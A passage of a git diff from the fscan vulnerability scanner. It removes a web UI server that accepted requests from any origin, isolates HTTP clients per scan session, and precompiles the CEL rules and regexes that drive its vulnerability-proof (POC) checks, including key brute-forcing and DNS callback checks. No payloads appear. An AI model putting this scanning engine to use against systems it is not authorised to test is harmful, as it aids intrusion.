优雅关闭 - done := make(chan bool) - quit := make(chan os.Signal, 1) - signal.Notify(quit, syscall.SIGINT, syscall.SIGTERM) - - go func() { - <-quit - common.LogInfo(i18n.GetText("web_shutting_down")) - - ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second) - defer cancel() - - if err := server.Shutdown(ctx); err != nil { - common.LogError(fmt.Sprintf("Server shutdown error: %v", err)) - } - close(done) - }() - - // 启动服务器 - common.LogSuccess(i18n.Tr("web_server_started", port)) - fmt.Printf(" http://localhost:%d\n", port) - - if err := server.ListenAndServe(); err != nil && err != http.ErrServerClosed { - return fmt.Errorf("server error: %w", err) - } - - <-done - return nil -} - -// corsMiddleware 添加CORS头(开发时需要) -func corsMiddleware(next http.Handler) http.Handler { - return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { - w.Header().Set("Access-Control-Allow-Origin", "*") - w.Header().Set("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE, OPTIONS") - w.Header().Set("Access-Control-Allow-Headers", "Content-Type, Authorization") - - if r.Method == "OPTIONS" { - w.WriteHeader(http.StatusOK) - return - } - - next.ServeHTTP(w, r) - }) -} diff --git a/web/server_stub.go b/web/server_stub.go deleted file mode 100644 index 498e1e52..00000000 --- a/web/server_stub.go +++ /dev/null @@ -1,13 +0,0 @@ -//go:build !web - -package web - -import "errors" - -// ErrWebNotSupported 非Web版本不支持Web功能 -var ErrWebNotSupported = errors.New("web mode not supported in this build, rebuild with: go build -tags web") - -// StartServer 非Web版本的空实现 -func StartServer(port int) error { - return ErrWebNotSupported -} diff --git a/web/ws/hub.go b/web/ws/hub.go deleted file mode 100644 index d68adb63..00000000 --- a/web/ws/hub.go +++ /dev/null @@ -1,215 +0,0 @@ -//go:build web - -package ws - -import ( - "encoding/json" - "net/http" - "sync" - "time" - - "github.com/gorilla/websocket" -) - -var upgrader = websocket.Upgrader{ - ReadBufferSize: 1024, - WriteBufferSize: 1024, - CheckOrigin: func(r *http.Request) bool { - return true // 允许所有来源(本地工具) - }, -} - -// MessageType WebSocket消息类型 -type MessageType string - -const ( - // 扫描相关 - MsgScanStarted MessageType = "scan_started" - MsgScanProgress MessageType = "scan_progress" - MsgScanResult MessageType = "scan_result" - MsgScanCompleted MessageType = "scan_completed" - MsgScanError MessageType = "scan_error" - - // 系统相关 - MsgConnected MessageType = "connected" - MsgPing MessageType = "ping" - MsgPong MessageType = "pong" -) - -// Message WebSocket消息结构 -type Message struct { - Type MessageType `json:"type"` - Timestamp int64 `json:"timestamp"` - Data interface{} `json:"data,omitempty"` -} - -// Client WebSocket客户端 -type Client struct { - hub *Hub - conn *websocket.Conn - send chan []byte -} - -// Hub 管理所有WebSocket连接 -type Hub struct { - clients map[*Client]bool - broadcast chan []byte - register chan *Client - unregister chan *Client - mu sync.RWMutex -} - -// NewHub 创建Hub实例 -func NewHub() *Hub { - return &Hub{ - clients: make(map[*Client]bool), - broadcast: make(chan []byte, 256), - register: make(chan *Client), - unregister: make(chan *Client), - } -} - -// Run 启动Hub -func (h *Hub) Run() { - for { - select { - case client := <-h.register: - h.mu.Lock() - h.clients[client] = true - h.mu.Unlock() - - // 发送连接成功消息 - msg := Message{ - Type: MsgConnected, - Timestamp: time.Now().UnixMilli(), - Data: map[string]string{"status": "connected"}, - } - if data, err := json.Marshal(msg); err == nil { - client.send <- data - } - - case client := <-h.unregister: - h.mu.Lock() - if _, ok := h.clients[client]; ok { - delete(h.clients, client) - close(client.send) - } - h.mu.Unlock() - - case message := <-h.broadcast: - h.mu.Lock() - for client := range h.clients { - select { - case client.send <- message: - default: - close(client.send) - delete(h.clients, client) - } - } - h.mu.Unlock() - } - } -} - -// Broadcast 广播消息给所有客户端 -func (h *Hub) Broadcast(msgType MessageType, data interface{}) { - msg := Message{ - Type: msgType, - Timestamp: time.Now().UnixMilli(), - Data: data, - } - if jsonData, err := json.Marshal(msg); err == nil { - h.broadcast <- jsonData - } -} - -// ClientCount 返回当前连接的客户端数量 -func (h *Hub) ClientCount() int { - h.mu.RLock() - defer h.mu.RUnlock() - return len(h.clients) -} - -// ServeWs 处理WebSocket连接 -func ServeWs(hub *Hub, w http.ResponseWriter, r *http.Request) { - conn, err := upgrader.Upgrade(w, r, nil) - if err != nil { - return - } - - client := &Client{ - hub: hub, - conn: conn, - send: make(chan []byte, 256), - } - hub.register <- client - - go client.writePump() - go client.readPump() -} - -// readPump 读取客户端消息 -func (c *Client) readPump() { - defer func() { - c.hub.unregister <- c - c.conn.Close() - }() - - c.conn.SetReadLimit(512 * 1024) // 512KB - c.conn.SetReadDeadline(time.Now().Add(60 * time.Second)) - c.conn.SetPongHandler(func(string) error { - c.conn.SetReadDeadline(time.Now().Add(60 * time.Second)) - return nil - }) - - for { - _, message, err := c.conn.ReadMessage() - if err != nil { - break - } - - // 处理ping消息 - var msg Message - if json.Unmarshal(message, &msg) == nil { - if msg.Type == MsgPing { - pong := Message{ - Type: MsgPong, - Timestamp: time.Now().UnixMilli(), - } - if data, err := json.Marshal(pong); err == nil { - c.send <- data - } - } - } - } -} - -// writePump 发送消息给客户端 -func (c *Client) writePump() { - ticker := time.NewTicker(30 * time.Second) - defer func() { - ticker.Stop() - c.conn.Close() - }() - - for { - select { - case message, ok := <-c.send: - c.conn.SetWriteDeadline(time.Now().Add(10 * time.Second)) - if !ok { - c.conn.WriteMessage(websocket.CloseMessage, []byte{}) - return - } - - if err := c.conn.WriteMessage(websocket.TextMessage, message); err != nil { - return - } - - case <-ticker.C: - c.conn.SetWriteDeadline(time.Now().Add(10 * time.Second)) - if err := c.conn.WriteMessage(websocket.PingMessage, nil); err != nil { - return - } - } - } -} diff --git a/web/ws/hub_stub.go b/web/ws/hub_stub.go deleted file mode 100644 index fe03553f..00000000 --- a/web/ws/hub_stub.go +++ /dev/null @@ -1,11 +0,0 @@ -//go:build !web - -package ws - -// Hub 非Web版本的空结构 -type Hub struct{} - -// NewHub 非Web版本返回nil -func NewHub() *Hub { - return nil -} diff --git a/webscan/lib/Client.go b/webscan/lib/Client.go index 014d5168..7a9a02f0 100644 --- a/webscan/lib/Client.go +++ b/webscan/lib/Client.go @@ -11,6 +11,7 @@ import ( "os" "strconv" "strings" + "sync" "time" "github.com/shadow1ng/fscan/common" @@ -39,8 +40,16 @@ var ( ClientNoRedirectGM *http.Client // 国密TLS 不跟随重定向 dialTimeout = 5 * time.Second // 连接超时时间 keepAlive = 5 * time.Second // 连接保持时间 + clientMu sync.Mutex ) +type HTTPClientSet struct { + Client *http.Client + ClientNoRedirect *http.Client + ClientGM *http.Client + ClientNoRedirectGM *http.Client +} + // Inithttp 初始化HTTP客户端配置 func Inithttp(cfg *common.Config) error { // 获取POC并发数,默认20 @@ -57,6 +66,40 @@ func Inithttp(cfg *common.Config) error { return nil } +// InitSessionHTTP creates HTTP clients owned by a single scan session. +func InitSessionHTTP(cfg *common.Config, session *common.ScanSession) error { + if cfg == nil || session == nil { + return fmt.Errorf("scan config and session are required") + } + pocNum := cfg.POC.Num + if pocNum <= 0 { + pocNum = 20 + } + clients, err := buildHTTPClientSet(pocNum, cfg.Network.HTTPProxy, cfg.Network.WebTimeout, cfg.Network.MaxRedirects, &cfg.Network) + if err != nil { + return fmt.Errorf("%s: %w", i18n.GetText("webscan_http_client_init_failed"), err) + } + session.DeactivateHTTPClients() + session.HTTPClient = clients.Client + session.HTTPClientNoRedirect = clients.ClientNoRedirect + session.HTTPClientGM = clients.ClientGM + session.HTTPClientNoRedirectGM = clients.ClientNoRedirectGM + return nil +} + +// GetHTTPClientSet returns a consistent snapshot of the compatibility clients. +// New scan code should prefer the clients attached to common.ScanSession. +func GetHTTPClientSet() HTTPClientSet { + clientMu.Lock() + defer clientMu.Unlock() + return HTTPClientSet{ + Client: Client, + ClientNoRedirect: ClientNoRedirect, + ClientGM: ClientGM, + ClientNoRedirectGM: ClientNoRedirectGM, + } +} + // configureHTTPProxy 统一配置HTTP代理(SOCKS5优先于HTTP代理) func configureHTTPProxy(tr *http.Transport, legacyProxy string, networkConfig *common.NetworkConfig) error { // 优先使用SOCKS5代理(与服务扫描保持一致) @@ -137,6 +180,26 @@ func normalizeHTTPProxyURL(proxyURL string) string { // InitHTTPClient 创建HTTP客户端 func InitHTTPClient(ThreadsNum int, DownProxy string, Timeout time.Duration, maxRedirects int, networkConfig *common.NetworkConfig) error { + clients, err := buildHTTPClientSet(ThreadsNum, DownProxy, Timeout, maxRedirects, networkConfig) + if err != nil { + return err + } + + clientMu.Lock() + defer clientMu.Unlock() + for _, old := range []*http.Client{Client, ClientNoRedirect, ClientGM, ClientNoRedirectGM} { + if old != nil { + old.CloseIdleConnections() + } + } + Client = clients.Client + ClientNoRedirect = clients.ClientNoRedirect + ClientGM = clients.ClientGM + ClientNoRedirectGM = clients.ClientNoRedirectGM + return nil +} + +func buildHTTPClientSet(ThreadsNum int, DownProxy string, Timeout time.Duration, maxRedirects int, networkConfig *common.NetworkConfig) (*HTTPClientSet, error) { // 配置基础连接参数 dialer := &net.Dialer{ Timeout: dialTimeout, @@ -173,11 +236,11 @@ func InitHTTPClient(ThreadsNum int, DownProxy string, Timeout time.Duration, max // 统一配置代理 if err := configureHTTPProxy(tr, DownProxy, networkConfig); err != nil { - return err + return nil, err } // 创建标准HTTP客户端(限制重定向次数) - Client = &http.Client{ + client := &http.Client{ Transport: tr, Timeout: Timeout, CheckRedirect: func(req *http.Request, via []*http.Request) error { @@ -189,7 +252,7 @@ func InitHTTPClient(ThreadsNum int, DownProxy string, Timeout time.Duration, max } // 创建不跟随重定向的HTTP客户端 - ClientNoRedirect = &http.Client{ + clientNoRedirect := &http.Client{ Transport: tr, Timeout: Timeout, CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse }, @@ -215,7 +278,7 @@ func InitHTTPClient(ThreadsNum int, DownProxy string, Timeout time.Duration, max DisableKeepAlives: false, } - ClientGM = &http.Client{ + clientGM := &http.Client{ Transport: trGM, Timeout: Timeout, CheckRedirect: func(req *http.Request, via []*http.Request) error { @@ -226,13 +289,18 @@ func InitHTTPClient(ThreadsNum int, DownProxy string, Timeout time.Duration, max }, } - ClientNoRedirectGM = &http.Client{ + clientNoRedirectGM := &http.Client{ Transport: trGM, Timeout: Timeout, CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse }, } - return nil + return &HTTPClientSet{ + Client: client, + ClientNoRedirect: clientNoRedirect, + ClientGM: clientGM, + ClientNoRedirectGM: clientNoRedirectGM, + }, nil } // Poc 定义漏洞检测配置结构 @@ -243,6 +311,10 @@ type Poc struct { Rules []Rules `yaml:"rules"` // 检测规则列表 Groups RuleMap `yaml:"groups"` // 规则组映射 Detail Detail `yaml:"detail"` // 漏洞详情 + + prepareOnce sync.Once + prepared *preparedPoc + prepareErr error } // MapSlice 用于解析YAML的通用映射类型 @@ -413,6 +485,9 @@ func parsePocYAML(data []byte, fileName string) (*Poc, error) { if err != nil { return nil, fmt.Errorf("%s %s: %w", i18n.GetText("webscan_poc_convert_failed"), fileName, err) } + if err := poc.Prepare(); err != nil { + return nil, fmt.Errorf("prepare POC %s: %w", fileName, err) + } return poc, nil } diff --git a/webscan/lib/Eval.go b/webscan/lib/Eval.go index 51398fa9..ebcd8f9a 100644 --- a/webscan/lib/Eval.go +++ b/webscan/lib/Eval.go @@ -37,15 +37,6 @@ var ( const maxPOCResponseBodyBytes = 8 << 20 -// 包级POC配置(atomic 保证并发安全) -var pocDNSLog atomic.Bool - -// InitPOCConfig 初始化POC配置(在扫描开始前调用) -// 这样CEL回调函数可以使用包级变量而非GetGlobalConfig -func InitPOCConfig(dnsLog bool) { - pocDNSLog.Store(dnsLog) -} - // NewEnv 创建一个新的 CEL 环境(使用缓存避免重复注册函数) func NewEnv(c *CustomLib) (*cel.Env, error) { cachedCELEnvOnce.Do(func() { @@ -139,9 +130,82 @@ func MakeVarDecl(key, value string) *exprpb.Decl { } } -// CelProgCache 缓存编译后的 CEL Program,避免同一 POC 内重复编译 -// 在 executePoc 中创建,同一个 POC 的所有规则/参数组合共享 -type CelProgCache map[string]cel.Program +// CelProgCache 缓存编译后的 CEL Program。 +// 缓存由 POC 加载阶段预热,执行阶段可被多个目标并发复用。 +type CelProgCache struct { + mu sync.RWMutex + programs map[string]cachedCELProgram + sealed atomic.Bool +} + +type cachedCELProgram struct { + program cel.Program + err error +} + +func newCelProgCache(capacity int) *CelProgCache { + if capacity < 0 { + capacity = 0 + } + return &CelProgCache{programs: make(map[string]cachedCELProgram, capacity)} +} + +func (c *CelProgCache) get(expression string) (cel.Program, error, bool) { + if c == nil { + return nil, nil, false + } + if c.sealed.Load() { + entry, exists := c.programs[expression] + return entry.program, entry.err, exists + } + c.mu.RLock() + entry, exists := c.programs[expression] + c.mu.RUnlock() + return entry.program, entry.err, exists +} + +func (c *CelProgCache) putIfAbsent(expression string, program cel.Program, compileErr error) (cel.Program, error) { + if c == nil { + return program, compileErr + } + if c.sealed.Load() { + return program, compileErr + } + c.mu.Lock() + if c.sealed.Load() { + c.mu.Unlock() + return program, compileErr + } + if existing, exists := c.programs[expression]; exists { + c.mu.Unlock() + return existing.program, existing.err + } + c.programs[expression] = cachedCELProgram{program: program, err: compileErr} + c.mu.Unlock() + return program, compileErr +} + +func (c *CelProgCache) len() int { + if c == nil { + return 0 + } + if c.sealed.Load() { + return len(c.programs) + } + c.mu.RLock() + length := len(c.programs) + c.mu.RUnlock() + return length +} + +func (c *CelProgCache) seal() { + if c == nil { + return + } + c.mu.Lock() + c.sealed.Store(true) + c.mu.Unlock() +} // Evaluate 评估 CEL 表达式(无缓存,用于 Set/Sets 求值等低频路径) func Evaluate(env *cel.Env, expression string, params map[string]interface{}) (ref.Val, error) { @@ -149,35 +213,27 @@ func Evaluate(env *cel.Env, expression string, params map[string]interface{}) (r } // EvaluateCached 评估 CEL 表达式(带编译缓存,用于规则执行热路径) -func EvaluateCached(env *cel.Env, expression string, params map[string]interface{}, cache CelProgCache) (ref.Val, error) { +func EvaluateCached(env *cel.Env, expression string, params map[string]interface{}, cache *CelProgCache) (ref.Val, error) { if expression == "" { return types.Bool(true), nil } - var program cel.Program - - if cache != nil { - if cached, ok := cache[expression]; ok { - program = cached - } - } - - if program == nil { + program, compileErr, cached := cache.get(expression) + if !cached { ast, issues := env.Compile(expression) if issues.Err() != nil { - return nil, fmt.Errorf("%s: %w", i18n.GetText("webscan_expression_compile_failed"), issues.Err()) - } - - var err error - program, err = env.Program(ast, GetBaseProgramOptions()...) - if err != nil { - return nil, fmt.Errorf("%s: %w", i18n.GetText("webscan_program_create_failed"), err) - } - - if cache != nil { - cache[expression] = program + _, compileErr = cache.putIfAbsent(expression, nil, issues.Err()) + } else { + program, compileErr = env.Program(ast, GetBaseProgramOptions()...) + program, compileErr = cache.putIfAbsent(expression, program, compileErr) } } + if compileErr != nil { + return nil, fmt.Errorf("%s: %w", i18n.GetText("webscan_expression_compile_failed"), compileErr) + } + if program == nil { + return nil, fmt.Errorf("%s", i18n.GetText("webscan_program_create_failed")) + } result, _, err := program.Eval(params) if err != nil { @@ -371,16 +427,23 @@ func randomString(n int) string { return RandomStr(randSource, charset, n) } -// reverseCheck 检查 DNS 记录是否存在 -// 使用包级pocDNSLog变量,由InitPOCConfig初始化 +// reverseCheck 检查 DNS 记录是否存在。 +// DNSLog 未启用时 newReverse 返回空对象,因此无需进程级开关。 func reverseCheck(r *Reverse, timeout int64) bool { - // 检查必要条件(使用包级配置变量) - if ceyeAPI == "" || r.Domain == "" || !pocDNSLog.Load() { + if ceyeAPI == "" || r == nil || r.Domain == "" { return false } - // 等待指定时间 - time.Sleep(time.Second * time.Duration(timeout)) + // 外部 POC 可控该参数,限制范围以避免超长或溢出的阻塞。 + if timeout < 0 { + return false + } + if timeout > 30 { + timeout = 30 + } + if timeout > 0 { + time.Sleep(time.Second * time.Duration(timeout)) + } // 提取子域名 sub := strings.Split(r.Domain, ".")[0] @@ -503,9 +566,9 @@ func DoRequest(req *http.Request, redirect bool, session *common.ScanSession) (* ) if redirect { - oResp, err = requestClient(true).Do(req) + oResp, err = requestClient(session, true).Do(req) } else { - oResp, err = requestClient(false).Do(req) + oResp, err = requestClient(session, false).Do(req) } // 标准TLS握手级别失败时,尝试国密TLS客户端 @@ -517,13 +580,13 @@ func DoRequest(req *http.Request, redirect bool, session *common.ScanSession) (* } } if redirect { - if clientGM := gmRequestClient(true); clientGM != nil { + if clientGM := gmRequestClient(session, true); clientGM != nil { if oResp2, err2 := clientGM.Do(req); err2 == nil { oResp, err = oResp2, nil } } } else { - if clientGM := gmRequestClient(false); clientGM != nil { + if clientGM := gmRequestClient(session, false); clientGM != nil { if oResp2, err2 := clientGM.Do(req); err2 == nil { oResp, err = oResp2, nil } @@ -550,15 +613,24 @@ func DoRequest(req *http.Request, redirect bool, session *common.ScanSession) (* return resp, err } -func requestClient(redirect bool) *http.Client { +func requestClient(session *common.ScanSession, redirect bool) *http.Client { + if session != nil { + if redirect && session.HTTPClient != nil { + return session.HTTPClient + } + if !redirect && session.HTTPClientNoRedirect != nil { + return session.HTTPClientNoRedirect + } + } + clients := GetHTTPClientSet() if redirect { - if Client != nil { - return Client + if clients.Client != nil { + return clients.Client } return http.DefaultClient } - if ClientNoRedirect != nil { - return ClientNoRedirect + if clients.ClientNoRedirect != nil { + return clients.ClientNoRedirect } return &http.Client{ CheckRedirect: func(*http.Request, []*http.Request) error { @@ -567,11 +639,20 @@ func requestClient(redirect bool) *http.Client { } } -func gmRequestClient(redirect bool) *http.Client { +func gmRequestClient(session *common.ScanSession, redirect bool) *http.Client { + if session != nil { + if redirect && session.HTTPClientGM != nil { + return session.HTTPClientGM + } + if !redirect && session.HTTPClientNoRedirectGM != nil { + return session.HTTPClientNoRedirectGM + } + } + clients := GetHTTPClientSet() if redirect { - return ClientGM + return clients.ClientGM } - return ClientNoRedirectGM + return clients.ClientNoRedirectGM } // ParseURL 解析 TargetURL 并转换为自定义 TargetURL 类型 diff --git a/webscan/lib/client_test.go b/webscan/lib/client_test.go index 9b6199c7..6acaadbb 100644 --- a/webscan/lib/client_test.go +++ b/webscan/lib/client_test.go @@ -2,7 +2,9 @@ package lib import ( "testing" + "time" + "github.com/shadow1ng/fscan/common" "gopkg.in/yaml.v2" ) @@ -130,3 +132,43 @@ func TestNormalizeHTTPProxyURL(t *testing.T) { }) } } + +func TestInitSessionHTTPKeepsScansIsolated(t *testing.T) { + globalBefore := GetHTTPClientSet() + + cfgA := common.NewConfig() + cfgA.Network.WebTimeout = 2 * time.Second + cfgA.Network.MaxRedirects = 1 + sessionA := common.NewScanSession(cfgA, common.NewState(), &common.FlagVars{}) + if err := InitSessionHTTP(cfgA, sessionA); err != nil { + t.Fatalf("InitSessionHTTP(A): %v", err) + } + defer sessionA.Deactivate() + + cfgB := common.NewConfig() + cfgB.Network.WebTimeout = 9 * time.Second + cfgB.Network.MaxRedirects = 4 + sessionB := common.NewScanSession(cfgB, common.NewState(), &common.FlagVars{}) + if err := InitSessionHTTP(cfgB, sessionB); err != nil { + t.Fatalf("InitSessionHTTP(B): %v", err) + } + defer sessionB.Deactivate() + + if sessionA.HTTPClient == nil || sessionB.HTTPClient == nil { + t.Fatal("session HTTP clients were not initialized") + } + if sessionA.HTTPClient == sessionB.HTTPClient { + t.Fatal("independent sessions unexpectedly share an HTTP client") + } + if sessionA.HTTPClient.Timeout != 2*time.Second || sessionB.HTTPClient.Timeout != 9*time.Second { + t.Fatalf("session timeouts = %s and %s", sessionA.HTTPClient.Timeout, sessionB.HTTPClient.Timeout) + } + if requestClient(sessionA, true) != sessionA.HTTPClient || requestClient(sessionB, false) != sessionB.HTTPClientNoRedirect { + t.Fatal("request client selection did not prefer the session") + } + + globalAfter := GetHTTPClientSet() + if globalAfter != globalBefore { + t.Fatal("session initialization mutated compatibility HTTP clients") + } +} diff --git a/webscan/lib/poc_executor.go b/webscan/lib/poc_executor.go index 0f258799..2e63c6cd 100644 --- a/webscan/lib/poc_executor.go +++ b/webscan/lib/poc_executor.go @@ -16,7 +16,7 @@ import ( "sync" "time" - "github.com/google/cel-go/cel" + "github.com/google/cel-go/common/types/ref" "github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/common/i18n" "github.com/shadow1ng/fscan/common/output" @@ -138,11 +138,8 @@ func collectVarDeclarations(p *Poc) []*exprpb.Decl { // executePoc 执行单个POC检测 func executePoc(oReq *http.Request, p *Poc, pocCtx *POCContext) (bool, string, error) { - // 收集POC变量声明 - varDecls := collectVarDeclarations(p) - - // 从基础环境扩展(复用缓存的基础环境,仅添加变量声明) - env, err := ExtendEnvWithVars(varDecls) + // 文件 POC 已在加载阶段准备;手工构造的 POC 在这里惰性准备一次。 + plan, err := p.executionPlan() if err != nil { return false, "", fmt.Errorf("%s %s: %w", i18n.GetText("webscan_exec_env_error"), p.Name, err) } @@ -168,25 +165,22 @@ func executePoc(oReq *http.Request, p *Poc, pocCtx *POCContext) (bool, string, e variableMap[key] = newReverse(pocCtx.DNSLog) continue } - if _, err = evalset(env, variableMap, key, expression); err != nil { + if _, err = evalsetCached(plan, variableMap, key, expression); err != nil { pocCtx.Session.LogError(i18n.Tr("webscan_set_exec_error", p.Name, err)) } } - // CEL 编译缓存:同一个 POC 的所有规则/参数组合共享 - progCache := make(CelProgCache) - // 处理爆破模式 if len(p.Sets) > 0 { - success, err := clusterpoc(oReq, p, variableMap, req, env, pocCtx, progCache) + success, err := clusterpoc(oReq, p, variableMap, req, plan, pocCtx) return success, "", err } - return executeRules(oReq, p, variableMap, req, env, pocCtx.Session, progCache) + return executeRules(oReq, p, variableMap, req, plan, pocCtx.Session) } // executeRules 执行POC规则并返回结果 -func executeRules(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env, session *common.ScanSession, progCache CelProgCache) (bool, string, error) { +func executeRules(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, plan *preparedPoc, session *common.ScanSession) (bool, string, error) { // 处理单个规则的函数 executeRule := func(rule Rules) (bool, error) { Headers := cloneMap(rule.Headers) @@ -248,7 +242,7 @@ func executeRules(oReq *http.Request, p *Poc, variableMap map[string]interface{} // 执行搜索规则 if rule.Search != "" { - result := doSearch(rule.Search, GetHeader(resp.Headers)+string(resp.Body)) + result := plan.search(rule.Search, GetHeader(resp.Headers)+string(resp.Body)) if len(result) == 0 { return false, nil } @@ -258,7 +252,7 @@ func executeRules(oReq *http.Request, p *Poc, variableMap map[string]interface{} } // 执行表达式(使用编译缓存) - out, err := EvaluateCached(env, rule.Expression, variableMap, progCache) + out, err := EvaluateCached(plan.env, rule.Expression, variableMap, plan.programs) if err != nil { return false, err } @@ -316,8 +310,13 @@ func doSearch(re string, body string) map[string]string { actual, _ := regexCache.LoadOrStore(re, compiled) r, _ = actual.(*regexp.Regexp) } + return searchWithRegexp(r, body) +} - // 执行正则匹配 +func searchWithRegexp(r *regexp.Regexp, body string) map[string]string { + if r == nil { + return nil + } result := r.FindStringSubmatch(body) names := r.SubexpNames() @@ -327,7 +326,7 @@ func doSearch(re string, body string) map[string]string { for i, name := range names { if i > 0 && i < len(result) && name != "" { // 特殊处理Set-Cookie头:剥离Path/Expires等属性,仅保留key=value - if strings.HasPrefix(re, "Set-Cookie:") { + if strings.HasPrefix(r.String(), "Set-Cookie:") { paramsMap[name] = optimizeCookies(result[i]) } else { paramsMap[name] = result[i] @@ -408,7 +407,7 @@ func newReverse(dnsLog bool) *Reverse { } // clusterpoc 执行集群POC检测,支持批量参数组合测试 -func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env, pocCtx *POCContext, progCache CelProgCache) (success bool, err error) { +func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, plan *preparedPoc, pocCtx *POCContext) (success bool, err error) { var strMap StrMap // 存储成功的参数组合 var shiroKeyCount int // shiro key测试计数 @@ -417,7 +416,7 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, // 检查是否需要进行参数Fuzz测试 if !isFuzz(rule, p.Sets) { // 不需要Fuzz,直接发送请求 - success, err = clustersend(oReq, variableMap, req, env, rule, pocCtx.Session, progCache) + success, err = clustersend(oReq, variableMap, req, plan, rule, pocCtx.Session) if err != nil { return false, err } @@ -460,7 +459,7 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, if key == "payload" { payloadExpr = expr } - output, err := evalset1(env, variableMap, key, expr) + output, err := evalset1Cached(plan, variableMap, key, expr) if err != nil { pocCtx.Session.LogError(i18n.Tr("webscan_set_exec_error", key, err)) } @@ -483,7 +482,7 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, ruleHash[ruleMD5] = struct{}{} // 发送请求并处理结果 - success, err = clustersend(oReq, variableMap, req, env, currentRule, pocCtx.Session, progCache) + success, err = clustersend(oReq, variableMap, req, plan, currentRule, pocCtx.Session) if err != nil { return false, err } @@ -748,7 +747,7 @@ func MakeData(base [][]string, nextData []string) [][]string { } // clustersend 执行单个规则的HTTP请求和响应检测 -func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Request, env *cel.Env, rule Rules, session *common.ScanSession, progCache CelProgCache) (bool, error) { +func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Request, plan *preparedPoc, rule Rules, session *common.ScanSession) (bool, error) { // 替换请求中的变量 for varName, varValue := range variableMap { // 跳过map类型的变量 @@ -810,7 +809,7 @@ func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Re // 执行搜索规则 if rule.Search != "" { searchContent := GetHeader(resp.Headers) + string(resp.Body) - result := doSearch(rule.Search, searchContent) + result := plan.search(rule.Search, searchContent) if len(result) > 0 { // 将搜索结果添加到变量映射 @@ -823,7 +822,7 @@ func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Re } // 执行CEL表达式(使用编译缓存) - out, err := EvaluateCached(env, rule.Expression, variableMap, progCache) + out, err := EvaluateCached(plan.env, rule.Expression, variableMap, plan.programs) if err != nil { if strings.Contains(err.Error(), "Syntax error") { common.LogError(i18n.Tr("webscan_cel_syntax_error", rule.Expression, err)) @@ -867,9 +866,12 @@ func cloneMap(tags map[string]string) map[string]string { return cloneTags } -// evalset 执行CEL表达式并处理特殊类型结果 -func evalset(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (string, error) { - out, err := Evaluate(env, expression, variableMap) +func evalsetCached(plan *preparedPoc, variableMap map[string]interface{}, k string, expression string) (string, error) { + out, err := EvaluateCached(plan.env, expression, variableMap, plan.programs) + return applySetResult(variableMap, k, out, err) +} + +func applySetResult(variableMap map[string]interface{}, k string, out ref.Val, err error) (string, error) { if err != nil { variableMap[k] = "" return "", err @@ -888,15 +890,20 @@ func evalset(env *cel.Env, variableMap map[string]interface{}, k string, express return fmt.Sprintf("%v", variableMap[k]), nil } -// evalset1 执行CEL表达式的简化版本 -func evalset1(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (string, error) { +func evalset1Cached(plan *preparedPoc, variableMap map[string]interface{}, k string, expression string) (string, error) { + return evalset1WithEvaluator(variableMap, k, expression, func() (ref.Val, error) { + return EvaluateCached(plan.env, expression, variableMap, plan.programs) + }) +} + +func evalset1WithEvaluator(variableMap map[string]interface{}, k string, expression string, evaluate func() (ref.Val, error)) (string, error) { // 纯字面量字符串(无函数调用、运算符、变量引用)直接当值用,跳过 CEL 编译 // 避免 sets 中的 "sql"、"database" 等被当成 CEL 变量引用产生大量错误日志 if isPlainLiteral(expression, variableMap) { variableMap[k] = expression return expression, nil } - out, err := Evaluate(env, expression, variableMap) + out, err := evaluate() if err != nil { variableMap[k] = expression } else { diff --git a/webscan/lib/poc_precompile.go b/webscan/lib/poc_precompile.go new file mode 100644 index 00000000..1fb37fcb --- /dev/null +++ b/webscan/lib/poc_precompile.go @@ -0,0 +1,210 @@ +package lib + +import ( + "fmt" + "regexp" + "strings" + + "github.com/google/cel-go/cel" + exprpb "google.golang.org/genproto/googleapis/api/expr/v1alpha1" +) + +// preparedPoc 是 POC 的只读执行计划。加载完成后不再修改,可安全地在多个目标间复用。 +type preparedPoc struct { + env *cel.Env + programs *CelProgCache + searches map[string]*regexp.Regexp +} + +// Prepare 在加载阶段构建 POC 的 CEL 环境、程序和搜索正则。 +// 对手工构造的 POC 重复调用也是安全的,实际准备过程只执行一次。 +func (p *Poc) Prepare() error { + if p == nil { + return fmt.Errorf("POC is nil") + } + p.prepareOnce.Do(func() { + p.prepared, p.prepareErr = buildPreparedPoc(p) + }) + return p.prepareErr +} + +func (p *Poc) executionPlan() (*preparedPoc, error) { + if err := p.Prepare(); err != nil { + return nil, err + } + return p.prepared, nil +} + +func buildPreparedPoc(p *Poc) (*preparedPoc, error) { + searches, captureNames, err := compilePocSearches(p) + if err != nil { + return nil, err + } + + declarations := collectPreparedVarDeclarations(p, captureNames) + env, err := ExtendEnvWithVars(declarations) + if err != nil { + return nil, fmt.Errorf("create CEL environment: %w", err) + } + + expressions := collectPocExpressions(p) + programs := newCelProgCache(len(expressions)) + for _, expression := range expressions { + // 编译错误也进入缓存。这样历史上无法执行的规则仍在执行时返回同类错误, + // 但不会再针对每个目标重复尝试编译。 + _, _ = compileCachedProgram(env, expression, programs) + } + programs.seal() + + return &preparedPoc{ + env: env, + programs: programs, + searches: searches, + }, nil +} + +func compileCachedProgram(env *cel.Env, expression string, cache *CelProgCache) (cel.Program, error) { + if expression == "" { + return nil, nil + } + if program, err, cached := cache.get(expression); cached { + return program, err + } + ast, issues := env.Compile(expression) + if issues.Err() != nil { + return cache.putIfAbsent(expression, nil, issues.Err()) + } + program, err := env.Program(ast, GetBaseProgramOptions()...) + return cache.putIfAbsent(expression, program, err) +} + +func 